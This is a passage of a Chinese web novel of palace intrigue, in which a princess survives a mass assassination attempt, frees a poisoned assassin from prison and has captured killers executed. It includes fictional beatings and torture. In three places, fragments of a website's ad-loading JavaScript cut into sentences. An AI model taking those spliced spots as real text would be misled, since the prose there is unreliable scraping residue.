李之夭跟秀春宫的人多多少少都有过节,在这里都是绾妃和长欢公主身边的人,她也不想演戏。 于是她装都懒得装了,款款走到杜君华面前,当着一众下人的面,扬手再给杜君华没被打的那边脸来了一下。 杜君气急,面容扭曲指着她道:“贱人!你竟然敢打我!” 说完她惨叫一声,清脆的耳刮子声落下。 春夏死握着她的手不放,不给她动手的机会,等她骂完春夏再抬手给了她一耳光。 杜君华被打得脸颊发烫,对方压根不想跟她说话,也不给她反应的时间,上来库给了她三巴掌。 今日大公主也在宿宁宫挨了打,这会儿还在内屋里上药,绾妃娘娘心疼死了,奈何这会儿皇上面都见不到。 她正琢磨着日后怎么给李之夭使绊子,她自己送上门来了。 找回面子不成反倒在下人面前又落了面子,她大叫道:“哎哟你们这群狗奴才站在旁边看戏呢,还不来把这贱人拿下,哎哟咱秀春宫可真是白养你们了。” 宫女太监们如梦初醒,小顺子拦在李之夭跟前,拔高声音,“我看谁敢?” 说完还掏出孙广全给他的令牌。 李之夭嗤笑一声,春夏松开了拽着杜君华的手,“杜嬷嬷,去禀告你家主子,就说我来了。” 得到自由的杜君华张牙舞爪朝李之夭伸手,人还没碰到,脸上反倒又挨了李之夭一下。 接连四个巴掌下来,打得她眼冒金星,不知东西躺在地上。 “好啊,你竟然敢打我的杜嬷嬷!” 连常欢在内屋听到外头的动静,诧异时有宫女禀告说是宿宁公主来了,她穿好衣服一心想报仇,因为李之夭这个祸害,害得她当众被自己父皇责打。 大魏大公主的脸都丢尽了。 她还在母妃跟前抱怨咒骂,骂着骂着还将人骂过来了。 萍嬷嬷将杜君华扶起来,替她拂去衣摆上的灰尘,连常欢指挥下人道,“你们还不赶紧把人给本公主拿下!” 李之夭浅笑走上前,“白日里刚挨了打,还想试试脸会不会疼?我来可是替舅舅带了话的。” 连常欢顿时觉得后背上的伤又开始发烫泛疼,捂着脸眼泪差点要掉下来。 “我竟是不知一个前朝公主也敢来我秀春宫耍威风了。”段兰之将连常欢护在身后。 前段时间她倒霉得狠,昨日刚请了司天监里的风水官过来为她算命,说她不消多久便会转运,起初还不信,现在看到李之夭自己主动送上门,当真觉得自己转运。 李之夭淡定自若微微福身行礼,“绾妃娘娘哪里话,宿宁不过是提个醒,管教个下人罢了。” 她不等绾妃出声就站直身子,抬脚往里走,“绾妃娘娘,宿宁还替舅舅带了话。” 段兰之追上去问她,“皇上要你来说什么?” “哎呀,方才跟杜嬷嬷一瞎扯,竟是忘了什么话。”李之夭苦恼地扶上额头,边走边叹息。 进了门径直走到宝座前拉着段兰之一块坐下。 瞧她这样子段兰之也急了,皇上的话竟还能想不起来。 “你撒开!”段兰之抽回手,不耐烦地催促,“什么话你赶紧说,少在这里卖关子。” 李之夭抬头瞧了瞧外面的天色,“绾妃娘娘,天色已晚不妨用了饭也不迟。” “上去给我按住她!小贱人,今天看你还敢不敢在这里耍威风!” 闻言宫女们上前,春夏挡在前面,见一个反手给人一耳光,战斗力跟当初段兰之在村子里看到的泼妇一般彪悍。 上去的两三个人,不但没摁住李之夭,还被她踹了一脚。 宫女平白无故挨了打,她们入宫前都是出身较为良好的姑娘,哪是春夏的对手,一巴掌下去脸都红了,眼泪疼得直流。 后面的人渐渐也不敢,只敢跪在地上什么事也不做。 段兰之气结,她从前怎么不知道春夏这死丫头这么能打,逮到人就库库给人几巴掌。 她想着之际见春夏的巴掌快碰到自己的脸,吓得她心口都提到嗓子眼,死死闭上眼睛不敢睁眼,过了好一会儿巴掌迟迟没落下来。 毕竟这是妃子,春夏吓吓还行,但打不得。 这么一闹,段兰之还真让李之夭留在宫里吃饭。 结果她吃完晚饭也没打算说的意思,一问就是头疼,想不起来。 段兰之偷偷派人去找清武帝的事李之夭是知道的,自己的人派过去没多久就被打发回来,换做连常欢的人去,也是一样。 清武帝不愿见连常欢有迹可循,可为何不见段兰之却是不解,察觉主子的心思,春夏低声道,“主子有所不知,您不在这两日绾妃把皇上气得不轻……” 春夏把这两日的事情一五一十给李之夭说了,听完李之夭心情大好,瞥向段兰之阴阳怪气道:“绾妃娘娘,不知秀春宫的院子的石砖是不是翻新过?瞧着怎今日比昨日还新?” 知其中曲折的段兰之咬牙切齿脸都歪了。 两人一来二去,拉扯到深夜,李之夭坐在软塌上看书看得入迷,剩段兰之和连常欢两人守着瞌睡连天。 啪—— 李之夭反手把书拍在桌子上,母女两清醒过来。 “现在可以说了?” “不是宿宁不想说,而是我实在记不起舅舅要我转达什么,不如改明日我再去问一遍再说如何?” 段兰之拍案而起,怒指骂道:“你这个祸害是不是耍我们?” 李之夭眨巴眼睛委屈道:“娘娘觉得宿宁耍你,大可去舅舅跟前确认是不是有这回事。” “我去个屁!”段兰之抓狂,“皇上他压根不见我,也不见我的人,你以为我没派人去?现在就常欢的人都不愿见了,你以为我不想吗?!” 段兰之随手拿起一个瓷瓶发狠朝地上砸去。 “那娘娘等我明日问清楚再来可行?” 明日? 想到祸害明日还来,段兰之心中更加郁结,小顺子手里有孙广全的腰牌,打着皇帝的名号来这里膈应她们,宫里见风使舵的一群废物也不肯出头,缩在后面像一群鹌鹑。 唯一出头的杜君华还被她们打了巴掌这会儿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 给打老实了。 她上哪找人说理去? “不准走,今晚就算本宫陪你熬,你也得给本宫把事情想起来!” 此举正合意。 李之夭命人把秀春宫的灯火点亮些,照得宫里没一死角。 春夏守在她身边,小顺子则溜了出去班搬救兵。 瞥见灯火照出来快速闪过的黑影时,目的也就达到了。 她还怕杀手找不到她,故而堂而皇之坐在显眼的位置。 杀个前朝余孽朝中没人会说什么,但刺杀后宫妃嫔和大魏皇室就是大罪。 子时一过,黑衣杀手翻墙而入,一进去院中灯火通明,把他们明里暗里照得一清二楚。 段兰之等人惊得瞌睡飞到九霄云外,缩成一团抖如筛糠。 她不由想起先前那名少年杀手,追得她满院子乱爬的场景。 天杀的,怎么又来? 僵持之余有杀手出声。 “别慌,我们的目标是宿宁公主。” 纪无涯开口补充:“谋害嫔妃皇嗣可是诛九族的大罪,不要误伤。” 他们都是名上主子从训练营买回来的,背后身份个个皆是达官显贵,若死的只是个前朝公主也就罢了,可若是后宫嫔妃和皇嗣,事情就大了。 李之夭是个鬼精的,她起身走到连常欢身边左右手分别抱着段兰之和连常欢一人一只胳膊就开始掉眼泪。 “绾妃娘娘,我害怕,不要丢下我。” “母妃,我也怕,秦大统领呢?这么杀手母妃快喊人来啊!”连常欢现在顾不上哭疼,段兰之也怕啊,打又打不过,跑又跑不掉。 她是真的转运了,转了大霉运。 李之夭一眼认出藏在人后的纪无涯,显然对方同样看到她。 四目相对,白日分别时的话历历在耳,诚不欺我,眨眼间便又站在了彼此的对立面。 她为鱼肉,世人皆为刀俎。 当真退无可退。 “杀!” 人群里有人出声,杀手们蜂拥而上,谁能杀了李之夭,在主子面前都是大功一件。 今日兴师动众,他们是伙伴,也是对手。 段兰之和连常欢两人吓得两眼一翻全都晕了过去,守在附近的宫女太监尖叫逃窜。 “……” 没想到她们这么没用。 李之夭在心底暗骂一声,只得松开手跟春夏往后院逃去。 她不是没想过今晚会有人刺杀,按照往常都是一人,再不济也是个纪无涯。 今晚却来了二十多人。 纪无涯没参与进去翻身上屋顶,禁军被声音吸引过来,甚至连皇帝身边的暗卫都惊动朝这边赶。 跟他们对上于现在的纪无涯来说不利。 他起身离开刚运功便觉气血堵塞,想压制体内开始乱窜的毒,反倒一口乌血喷出,教他两眼发黑。 纪无涯强制压下毒性,运功飞身离开现场。 听动静禁军已经赶过来。 李之夭庆幸自己留了一手,让小顺子拿着孙广全的令牌去找禁军副将,不然今晚真的在劫难逃。 她和春夏躲进一间屋子,想撑过这段时间。 屋顶却传来稀稀疏疏的响动。 春夏哭丧一张脸指了指上面,她扇巴掌厉害,又不是打架厉害,今晚这么多杀手,除开上次,就是这次见,声音抖了几分。 “主子,你有没有听到什么动静?” 下一秒,屋顶被人砸出个大窟窿,一道黑影直直下来,躺在地上不省人事。 34. 曲折 第34章 躺在地上的人浑血,他趴在地上一动不动。 春夏小心翼翼地将人翻过来,待李之夭看清人脸后也被吓到。 竟是纪无涯。 他额前碎发被细细汗水打湿,胸口起起伏伏眉头紧皱,像在承受极大的痛苦。 秀春宫院子里突然乱了起来,禁军赶来同杀手厮杀,伴随而来的还有小顺子焦急地呼唤声。 就在此时她们的房门忽地被人踹开,两名杀手提刀逼近。 李之夭和春夏当即松开托着纪无涯头和身体的手,半昏半醒的人头磕在地上,疼得他闷哼一声。 横地上的手还被往后退的李之夭踩了一下,他本就皱起的眉头拧得更紧。 主仆二人退到屋子深处,正当李之夭绞尽脑汁想办法自保时,小顺子气喘吁吁出现在门口,“找到了!主子在这里!” 禁军进来把那两名杀手围困住,败局已定杀手破窗而逃。 院子里逮到的杀手死的死伤的伤,他们进皇宫如入无人之境,最后阴差阳错的把纪无涯给抓了起来。 “岂有此理!文武百官简直放肆!”清武帝摔碎手中茶杯,听禁军副将禀告今夜刺杀,特别是知道宿宁宫在秀春宫的时候,什么情况都明白过来了,“孙广全,你即可动身去天牢盯着,把抓起来的杀手一个个审!最好把身后主子审出来一个,杀鸡儆猴!” 孙广全退下,清武帝头昏脑涨,虚虚撑着身子,“宿宁和绾妃她们怎么样?” 副将抱拳回话,“太医已经看过,宿宁公主无事,绾妃和大公主受了惊吓昏厥,醒过来就没事,还好今夜宿宁公主在秀春宫,小顺子求助,距离不远臣等过去及时,才救下宿宁公主,若在偏僻的宿宁宫,这么大规模刺杀,公主能活着就是万幸。” 当初分配寝宫时,李之夭说自己身为前朝余孽,理应深居宫中,不宜常出门露面惹人非议,才把宿宁宫选在偏僻之地,不惹他费心。 刚开始遭遇刺杀,秦立山气不过才请求他派几名禁军扮做侍卫过去宿宁宫应对,上次火烧宿宁宫不算,这次人在秀春宫竟敢杀到妃嫔的地方去。 实在无法无天! 啪—— 一瓢凉水浇在纪无涯面上,他被绑在型架上,头低低垂着。 凉意叫醒他混沌的意识,他虚虚睁眼。 四周昏暗,充斥着血腥味,隐隐还有惨叫声传来,旁边火盆里的炭火正旺,铁片烧得通红,桌子和墙壁上摆满各种刑具,大大小小,叫人看了浑身发毛。 同他一起的还有一名黑衣人,他□□囊的牙齿已被人拔掉,牙齿丢在地上,身上充斥深深浅浅的鞭痕,鞭子将他打得皮开肉绽,衣服带出一道道破烂痕迹。 动刑的狱卒随意将手中水瓢丢进桶里,孙广全坐在主位的椅子上,上下打量着四周,他从前不是皇帝身边的老人,是两年前新帝上位从后宫中选出来的。 说起来他跟新帝之间是见过的,那时他跟在先帝的大太监身边做事,在宫里提点帮扶过清武帝几次,人家记在心里,后来把他提拔到身边做事。 宫里老人的手段他见识过,威胁坑蒙拐卖下毒层出不穷,但凡落进天牢的犯人严刑拷打更是不在话下,活了半辈子就没见过真正嘴硬的,那些手段使出来,阎王爷来了都要叫两声。 何况这次刺杀惹得龙颜大怒,这些逆贼胆大包天,不死也得脱层皮。 孙广全清了清嗓音端正身子,“你叫什么名字?” 垂着头的人似乎听到有人在跟自己说话,艰难抬起头朝声音望去,与人对上时,孙广全瞳孔地震。 他着急走进来到跟前,“怎么是你?” 此人孙广全在早朝时见过,是他将宿宁宫送回来,他不是皇上身边的人,怎么会出现在现场? 纪无涯说不出话来,一张口体内毒素乱窜,只呛得他一口血吐出来,又虚虚地垂下头,一副将死之相。 若不及时医治,恐怕无力回天。 “孙公公,因为抓错人了。” 时雨带着秦立山走进来,她在回宫的路上收到公主的飞鸽传书,要她去天牢里捞个人此人她见过,是接连几次刺杀公主的杀手。 但信上的内容是让她救人,正好秦立山跟她在一块,于是二人便一同过来。 孙广全和狱卒给秦立山行礼,偷偷打量秦立山,此时他面容黝黑,盔甲都染了一层碳灰,头发凌乱,像是刚从凤山回来。 “时雨姑娘说抓错人是何意?” “此人和我家主子有些交情,前两日我已带着舍利前往护国寺,贱婢不敢替主子做主,谁知凤山起火,他身负皇命不敢怠慢,主子和舍利皆被此人带回宫中,他一来跟皇上回禀任务保证主子安全,二来寻主子讨要舍利,公公不信可查此人身上是否有舍利子。” 狱卒闻言搜身,果真从他怀里找出用布袋装着的舍利,两人才全信了时雨的话。 宿宁公主是他寻回来的,自然不是今晚刺杀的是同一伙人。 舍利确实由 “既然是宿宁公主出面,那便将此人放了吧。” 狱卒上去解开拴着纪无涯的绳子,秦立山过去帮忙将人背起来,时雨冲孙广全福身谢过,才对狱卒道,“舍利既是我们公主赠予这位郎君,还请这个大哥归还。” 狱卒看向孙广全,征求他的意见,孙广全笑着点头,并主动把布袋递到时雨手上,“这是公主的东西,自当归还。”见秦立山背着人有离开的迹象,为给皇帝交差,还是主动询问了他们后面的行踪,“不知时雨姑娘和秦大统领后面去哪?” “自是带着他回宫。” 时雨这么说,也不怕孙广全都跟清武帝讲了去。 秦立山本无疑心,权当是帮宿宁公主,谁让她在宫中如履薄冰,深居简出,还常常遭人欺负。 今夜刺杀他略有耳闻,不然也不会急匆匆从凤山赶回来。 他已让人围山在周围挖筑隔火带,凤山看情况是没了,就连保存百年的护国寺也毁于一旦,山下还有那么多僧人,后面何去何从都是问题,庆幸的是疏散及时,没有百姓伤亡。 此时看天,还能看到被火光映红的半边天,夏季炎热干燥,立夏至今,一场雨都未曾下过。 刚进宫门,李之夭已经带人在宫道上等着,她身边还站着一名少年。 “人我已经如约帮你救出来了,可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以把刀收起来了么?” 李之夭微微回头低声说道,泪眼朦胧的看着,“我命浅,着实受不了这样的惊吓,你就行行好吧。” 晚上禁军刚把人拖走,没一会儿她便被人从太医院劫走,是跟在纪无涯身边的那位少年。 一见面就把刀架在脖子上让她想办法把纪无涯从牢里捞出来,他们去而复返,竟是为了找纪无涯。 “得罪了。” 说完他收走抵在李之夭腰后的匕首。 寻方看见昏迷不醒的师兄焦急万分,没受皮外伤,全是内伤导致,若不再救人,性命难保。 李之夭还气白日里纪无涯跟她说的那无情话,就算不是同路人,那她也是他金主,照面打这么长时间,怎说翻脸就翻脸。 男人变脸比翻书还快。 “小顺子,带他们去太医院,别让人死我面前了。”李之夭说着转身朝秦立山福身答谢,“多谢秦大统领。” “公主没事就好,这些事是臣应该做的不必多礼,臣还要去寻皇上复命,恕不能久留。” 送走秦立山春夏才上去抱着时雨差点就是哇哇一顿哭。 时春二人当初并不在她挑选奴婢的范围内,最开始送过来的宫女太监,除了小顺子之外,个个受绾妃的指使,变着法的针对她,今日不是端上来凉的饭菜,就是给她穿捂馊的衣服。 院子也打理得及其不认真,内务是她自己整理,本想着安分守己忍一忍算了,谁知后面有人派杀手刺杀她,那群宫女反倒帮着杀手杀她。 后面若不是小顺子偷偷出去搬救兵,她早就死在哪里了。 经历这一遭,李之夭算是想明白,藏拙安分守己并不会让人相信她,既然不信,藏着还有什么意思,于是当着皇上的面,她哭诉宫女太监种种罪行,保了小顺子一人。 根据书中记忆亲自在宫里挑的春夏时雨二人,还派了禁军办成侍卫守着。 书中她们二人,也是死在苏月清手下,什么原因没详细描写。 李之夭开始发展宫中眼线和宫外势力,把银来庄做强,有了钱财名望,情报网也广,谁不买她银来庄一个面子。 来到太医院,太医说寻方正在给纪无涯疗伤。 闹了半宿,天还是黑的,还有一个时辰才会天亮。 同样的不眠夜,不是第一回,也不会是最后一回。 时雨将从狱卒手里得到的舍利还到李之夭手里。 她细细看着这颗珠子,兜兜转转最终还是在她手里。 “把东西给我。” 寻方站在门口,神色焦急,顾不上礼仪直接开口跟李之夭要。 “奇怪,珠子是悟尘大师送进宫里的,皇上赏赐给我,是我的东西,怎你想要我就得给你?” 她神色天真,语气抱怨,偏偏握紧了药珠,没有打算要给的意思。 “这是颗药珠,能救命的,师兄没这东西会死的!” “他奉命杀我,我救了他,已欠我一次。” 李之夭目光落在寻方身后的屋子里,瞥见黑色的衣角,她神色沮丧,眉眼下沉,故作伤心道,“白日里有人还说我们不是一路人,怎如今却又聚在一块了?” 35. 梦魇 第35章 寻方明白此人打定主意耗下去,可师兄的毒耽误不得,好不容易得来的药珠,就这么又给了出去。 夜里是他心生不安,他和雪二人脚程故意慢了许多,但怎么都不见人跟上来。 担心他去见了智先生后摊上麻烦,他去而复返回京寻找师兄的下落,智先生府上并未找到,最后是陆海清偷偷告诉他,进宫寻人。 进宫后就看见师兄被带走关进了天牢,天牢守卫森严,且凭他一人无法把人劫走,最后跟着宿宁公主去到太医院找到机会威胁她,让她帮忙救人。 此女计谋过多,并不像表面看上去那么蓄人无害。 现在人救出来了,却被困在深宫中。 寻方拱手恳请,“还请公主救人一命,寻方愿为您赴汤蹈火!” “寻方。”虚弱的声音从屋中传出,带着些冷意,他赶忙回头张望,只见纪无涯一手撑着门框,面色惨白的站在那里。 “师兄!你醒了!” 纪无涯冲他点头,由寻方搀搀扶艰难迈下台阶,方才李之夭的话是故意说给他听的,心里是记着白日里的说辞。 “是我言语冲撞了公主,还请公主恕罪。” 说完他拱手弯腰深深行了一礼,寻方见状也跟着赔礼道歉。 李之夭也在气头上,见他这副模样,哪有初见时那般自在,对方既给了她台阶下,顺势而为未尝不可。 “在桃花祠跟你承诺,药珠我会帮你得到,你不会死,虽有曲折,现在珠子确实在我手里,我将它给你,不算食言,但你仍欠我一次,欠我把你从天牢里救出来的恩情。” 她句句讲的明白,欠什么,不欠什么也算的清楚。 声音明明很柔,字句却铿锵有力。 时雨从她手里接过药珠装回布袋中,连同从狱卒那里拿回来的纪无涯贴身物品一并归还。 银币共有七枚,他腰间卸下的软剑一柄,还有两只小瓷瓶,除此之外并无其他。 纪无涯接过目光一沉,他慌乱扒开银币像是在找什么东西。 最后满眼慌乱地望向李之夭,“你确定全都在这?没有漏掉?” “我确定,我不会拿你的东西,时雨也不会,你丢了东西?” 纪无涯捂着胸口,黑色的血顺着他的嘴角溢出,话都快说不清楚又要晕厥过去。 寻方见状赶忙将他扶进屋内,小顺子下去传太医。 瞧他反应不对,李之夭跟着一同进屋,路上低声询问时雨,“你确定东西全都在这?” 时雨点头,“东西经过狱卒和孙公公的手,是狱卒拿给我的,说从他身上搜出来的东西只有这些。”怕主子误会,时雨赶紧澄清一句,“主子,我没拿。” “我信你。” 穿上躺着的人此时又陷入昏厥,身体时冷时热,大汗不断,太医赶来施针只能稳住他的脉象不乱,但叫人清醒却是无能为力。 看得春夏很着急,“东西我家主子不是给你了么,说是救命的东西,怎不见你拿出来救人?” 寻方唇角扯出一抹苦笑,“药珠只有晚上才是药效最强之时,白日的药性对师兄起不了作用,而且使用次数有限,只能三次,师兄已用一次救雪,他体内的毒本需完完全全使用三次才能根除,现在太阳升起,用不了。” 窗棂外旭日东升,朝阳璀璨,夜结束了。 太医院过来诊断的太医都是李之夭信得过人,他们看过之后都是纷纷叹气摇头,只说学术不精,只能稳住脉象,保他一线生机。 李之夭坐在椅子上揉了揉眉心,难不成这是她强行把人拉在身边的结果? 纪无涯遭到反噬,书中他本不该这个时候就死掉,若是留他在男主身边,还能活得长些。 可总又不能放任他去帮男主,挡自己的路。 李之夭神色骤冷,一个念头疯狂上涌。 ——让他死在这里好过让其到男主身边给她添堵。 惊觉这样的想法,她闭眼赶忙把念头从脑驱逐。 若她这么做,跟原文的自己又有何异? “主子天亮了,要不要下去休息会儿?”时雨瞧出主子脸色不太好,关心询问道,“这里有我和春夏。” 李之夭点点头,这是太医院留给不回去的太医落脚歇息的其中一件屋子,她寝宫还未修缮完毕,只能将人暂时留在这里,她去请示清武帝看看能不能给纪无涯找个住处。 放任其留在这里,只要恢复一点按照他们的身手想出宫也不难,只有让皇帝知晓此事,并下达旨意,不违抗皇命才能心甘情愿留下。 李之夭从袖间取出一只青色小瓷瓶递给太医,“这瓷瓶是我在玄心大师住处寻到的,瓶内还残留药味,请你看看此作用于何处,我猜想应当跟他有关,或许对你们有用。” 其余跟护国寺有关的东西,早在大火中烧得一干二净。 清醒着的人还在往前走,困在梦魇里的人却迟迟醒不过来,梦里的护国寺院中长着高大梧桐,层天蔽日,梧桐树上挂着众多请愿用的红绸。 彼时艳阳高照,春风正好,玄心立在大殿前冲他招手。 “无涯,快来。” 十岁的纪无涯冲玄心奔去,“师父!” “无涯……快来。” 下一秒狂风大作,晴朗的天气骤变,狂风大作电闪雷鸣,春雨打在梧桐叶上,他被人推倒在地,摔在坑洼中,躺了满身泥水,稚嫩孩童的脸挤在周围,目光讥嘲。 “没人要的野孩子!” “你爹娘都不要你了,他们都不要你了。” “他们只心疼你弟弟,根本不需要你。” “谁小小年纪便身中剧毒,害得玄心师父为你疗伤吐血,你就是个祸害!” “打他!” “我不是,我不是!” 纪无涯紧紧护着脑袋,蜷缩在地,孩子们拳头不分轻重的打在他身上,他什么都做不了。 体内为何会有剧毒他也不知,记事起就存在了,每次毒发痛苦难忍时,看到的永远是娘亲婆娑的泪眼。 他不想的,但他也不是累赘。 想到此纪无涯站起身猛地将为首的孩子推倒在地,骑在他身上狠狠打了几拳,双拳难敌四手,他被旁边的孩子拉开摁在地上,再次被拳打脚踢。 “你们在干什么?!”悟尘愠怒地声音制止他们的动作,见到玄心和悟尘叫着玄心师父来了一哄而散。 剩下纪无涯躺在地上眼泪决堤。 玄心将他抱起来挡住宣泄在身上的大雨,温柔安抚他。 “无涯,别怕。” …… “无涯,这是为师给你打造的,此币名为金坤钱。”玄心递给他一枚金色的圆币,尾端系着红色流苏,“就算你不入佛门,我教了你武功,传了你内力,你唤我一句师父,我便担得起称呼,长大外出日后有困难拿着它来护国寺,不管日后住持是谁,他都会帮。” 纪无涯伸手去接,最后却握住一片虚空,漂浮的陈年往事裂开,破碎在迷雾里。 金坤钱,是他师父留给他的最后一件东西。 他弄 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 丢了师父给他的东西。 守在床头的寻方见原本气息平稳的纪无涯忽然眉头紧皱,被困在梦魇中怎么出都出不来,眉头紧锁,汗水不停往下掉。 口中喃喃几个字。 “师父……” “师父……” 太医见状上前再给他扎了一针,趁他气息渐稳之时搭脉诊断,一诊断顿时面色严肃起来,“怎还恶化了?他体内两毒相撞,必须得解了一样,否则就来不及了。” “来得及。”寻方稳住心神不让自己慌乱,“大夫,我已让人去取解药,最迟傍晚就能赶到,大夫,还请你帮他拖到傍晚。” 他武功不及雪的霸道,也不如师兄高强,这一趟必须雪亲自回去。 雪一路轻功朝宁缘城赶去,脚下踏着乘风诀,速度极快可日行千里。 今日就算把缘楼平地拔起,她也一定要替十三师兄拿到解药。 朝阳升起,她便已站在缘楼门口,守门人拦住她,“楼主说了,必须带十三和十四回来。” 不等她说完,雪身手掐住他们二人的脖颈,目光嗜血。 “滚。” * 天牢里审讯杀手的工作从天黑持续到天亮,动刑的人换了几茬都没问出个一二来。 有人招供说他们从未见过自家主子的面目,今晚的行动是听从一人指挥。 可指挥的人也蒙面认不出来。 问来问去,一点实用的讯息都没有。 “孙公公该用的手段我们全都用了,还是一点有用的消息都没有,再问下去,人就全都死光了。” 拖出去的尸首一具又一具,血躺了一地,狱卒用袖子擦了擦额头上的汗,小心恭敬地凑到孙广全身边。 孙广全着实无奈,这人都死了好几个,一点消息都没有。 皇上早朝需要,这样的答案他可以接受,但皇上万万不能接受。 搞不好,他也得掉脑袋。 孙广全揉了揉眉心,正当想着该如何是好,昏暗的道口小顺子忽然出现在这里。 “孙公公,皇上请您回去。” 小顺子拿着拂尘卑躬屈膝快步走来,身后还跟着三名带幕离的姑娘。 他打量了一下不难想猜出是谁,便没再多问起身离开。 待孙广全走后,狱卒上下看了她们一眼,“天牢可不是你们这种娇滴滴的小姑娘来的地方,赶紧离开。” 他说完只觉腘窝一疼,膝盖一软便跪在了地上,刚想反抗就被人拿剑架在脖子上。 早些时候李之夭去御书房的路上,走到一半记起纪无涯带她进护国寺时拿出来的金色圆不在其中。 根据她偷听得来的消息,金色圆币是一种象征,护国寺上下僧人对此币持有者很是尊敬。 纪无涯应当会好好保留才是。 但时雨送来的物件中并没有,她顿时明白纪无涯在找什么。 于是去御书房自动请缨来天牢审讯犯人,借口说杀手可能见她这个目标什么都说了。 此言在理清武帝便同意她的说法,并把孙广全喊了回来。 出了宫,踏雪飞鸿守在附近,随她一起进天牢悄无声息的审个人不是难事。 若她能帮纪无涯找到他丢的东西,让他再欠着自己一回又有何妨? 横竖他对自己有亏欠,没两清之前,他都不会去男主身边,寻他做事也能少花些银子。 于她,有利。 李之夭慢条斯理坐在方才孙广全坐的位置上。 “你偷藏的东西交出来。” 36. 旧人 第36章 “什、什么东西?” 狱卒吓得不轻,说话结结巴巴,心中尽管再怕,他也不敢动弹半分,生怕架在脖子上的剑要了他的小命。 当差守卫就在门口,若他大叫一声或许还能博得一线生机,李之夭似乎看穿他的想法,“你别想叫人,你若是喊叫,外头的人只会觉得是我在对那些个杀手动刑,并不会管你。” 末了,李之夭话锋一转,尾音上扬,“今日从牢里带走的那个人,你从他身上搜出来的东西交出来。” “小人已将全部物件归还,不知贵人想要什么?” “当真没有?” 春夏拔高音调,见狱卒点头,在后面的飞鸿一拳打在他的后背上,他惨叫一声,跪地缩着身子的,疼得狱卒直冒冷汗。 “小的确实没拿,说不定另有其人。”他抖着嘴唇开口。 “东西他一直妥帖放在身上,你搜的身,也没出过这间屋子,不是你拿的,难不成你想说是孙公公?”李之夭语气懒散,一下一下翻着桌子上毛笔。 毛笔落在桌上啪嗒啪嗒声断断续续传来,在幽暗封闭的室内格外空旷。 狱卒大气不敢出,回答是万一她找孙公公对峙,死的还是他自己,不承认这屋子除了他孙公公就只剩三名审讯的狱卒进来过。 她虽戴幕离,但看方才孙公公的态度她们是宫里的什么大人物。 被放走的那名男子身份想必也非同一般,若他承认藏了东西,他一个小小狱卒,无权无势,贵人不高兴把他砍了也不会有人多问一句。 只是先前重复说不是自己拿的,这会儿改口死得更快。 骑虎难下,唯有放手一搏才有一线生机,从少年身上搜出来的东西个个都是值钱的好物件,其中那枚金色的圆币甚是贵重,金子做成的玩意儿,若是拿出去能抵不少钱,这样他在银来庄欠的债也能一笔勾销,还留有余钱。 狱卒咬死不认,还把另外三人拱了出来,“贵人饶命!除了小人,还有三人进出过这里!” 李之夭瞧他神色百转千回,莫约已明七七八八,不直接拆穿他,更是装作一副愿闻其详地样子,“哪三人?” 根据狱卒口供,踏雪出去将正喝酒吃肉的三人连踢带踹的送进来,四人跪成一排,无须李之夭开口,时雨替她审讯道,“他说你们拿了东西,你们可认?” 后进来的三人如二丈和尚摸不着头脑,怕惹祸上身不敢迟疑,“什么东西?” “就是夜里带进来的一批人中被秦大统领背走的那个,他的东西。” 纪无涯进来还被秦立山亲自背走,秦立山时常光顾天牢,他们不识其威名认得此人都难,秦大统领带走个人他们消息传的都很快,那位受伤的郎君莫不是身份高贵之人? 想到此吓得不敢有半句虚言,连连否认。 “小的连那位郎君面都没见过,又怎么会拿他的东西!” “小的确实冤枉,断不敢做这偷鸡摸狗的事!” “贵人在上,还请贵人明察!” “可是他说有可能是你们的拿的。”李之夭朝边缘跪得颤颤巍巍的狱卒望去,却激起民愤。 “好啊,原来是你个腌臜东西平白无故陷害好人!”有人瞧见冲他责骂,心里更是来气,一股脑把他干的好事全抖了出来,“贵人,他平日就喜欢收些小恩小惠干些偷鸡摸狗的勾当,仗着自己舅舅在文选司下当差,才得了个牢头的位置,一定是他拿了东西栽赃嫁祸于我们!” “他还欠了银来庄的钱,人家要债都要到牢房门口了!” “贵人不信可搜身或把天牢找个底朝天都不怕的!” 李之夭一顿,在场和她一起的人都知银来庄是她经营起来的铺子,欠债不还正好落在了东家手上。 有人会从银来庄借钱此事也是经她许可,欠钱不还的事十有八九,原本她交给耿进才他们去做自己从不会过问,但今个儿听得着实让她火大。 跟他绕弯子的兴致瞬间烟消云散,连搜身都懒得搜,就让飞鸿出手把他一顿好打,踏雪适时将破抹布塞进他嘴里,堵住惨叫的嘴。 打得他鼻青脸肿,另外三人看得大快人心,很是过瘾。 “皇上登基时最忌讳任人唯亲,私相授受,你沾了你舅舅的光得一官职,哪怕官职在小,你也不该如此行事。” 狱卒招架不住习武人的拳打脚踢,拳拳疼得入骨,让人痛不欲生,只好忍痛脱下鞋从鞋垫地下拿出他藏起来的金币,尾端的红色流苏被他嫌碍事扯断,残存的没几条。 见他藏在这个地方,李之夭面色变了变,硬生生忍住了想伸手去接的冲。 春夏拿出帕子将金币包裹起来。 “把他带去银来庄。” 今日来的目的达到,李之夭也不打算久留,跟三名狱卒打探其余被抓的杀手消息。 “杀手活着的只剩三名,其余的扛不住酷刑死了。” “按小人经验来看,他们确实不知自己主子是谁。” 李之夭点头,便让他们带头去了关押最后三人的地方。 果不其然看见她,杀手睚眦欲裂,要将她生吞活剥,好像把他们祸害至此的人就是李之夭。 “要怪就怪你们投靠错了人,送他们上路吧。” “贵人,可是皇上……” 李之夭摆手,“皇上那边我会交代。” “李之夭!大人说的果然不错!你就是祸乱朝纲的小人!大魏迟早毁在你手里!” 杀手情绪激动,用身体邦邦邦砸着身后木架,撞得铁链镣铐哐哐作响,随后被飞鸿抹了脖子,接连剩下两人全都死在飞鸿手下。 三名狱卒有一名听她名声顿时吓得瘫软在地,剩下两名僵硬的站在原地,目光愣愣看着她。 李之夭背对着他们,面朝出口,前方闪着微弱的光,她叹了口气,“我从来到大魏,什么都没做,几乎所有人都笃定我会对大魏不利要致我于死地,若是可以,我也只想做个普通女子,走在大好山河之间。” 她抬腿往前迈了一步,身后齐刷刷两道声音传来。 “公主!” “寻阳公主!” 听到久远的封号,似乎属于燕国的记忆又接踵而来,李之夭手指颤抖,怕克制不住情绪握紧拳头。 